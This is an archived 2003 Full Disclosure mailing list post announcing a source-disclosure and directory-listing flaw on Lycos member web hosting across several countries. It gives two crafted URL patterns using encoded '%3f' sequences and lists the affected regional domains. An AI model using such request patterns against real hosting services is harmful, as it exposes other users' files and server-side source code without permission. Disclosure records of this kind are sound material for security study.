Full Disclosure mailing list archives
LYCOS WorldWide Members' Accounts Source Pages Disclosure & Directory Listening
From: Elv1S <elvi52001 () yahoo com>
Date: Tue, 9 Sep 2003 03:49:58 -0700 (PDT)
Title : LYCOS WorldWide Members' Accounts Source Pages Disclosure & Directory Listening Date : 04/06/2003 Found : By ElviS (The King) Greetz to : www.k-otik.com <- ur so sexy - CaSsDéDi ;-) This vulnerability was PRIVATE and now Public, Very simple to exploit this vuln : h*tp://membres.lycos.fr/Member_Name/Directory/%3f/%3f/ (Directory Listening) h*tp://membres.lycos.fr/Member_Name/Directory/file.php%3f/%3f.jsp (Source Disclosure) Vulnerable : Lycos FRANCE - United Kingdom - Spain - Italy - Nederland - Germany ... h*tp://membres.lycos.fr/ h*tp://members.lycos.co.uk/ h*tp://usuarios.lycos.es/ h*tp://utenti.lycos.it/ h*tp://members.lycos.nl/ h*tp://mitglied.lycos.de/ [...] Are we Secure ? --------------------------------- Do you Yahoo!? Yahoo! SiteBuilder - Free, easy-to-use web site design software
Current thread:
- LYCOS WorldWide Members' Accounts Source Pages Disclosure & Directory Listening Elv1S (Sep 09)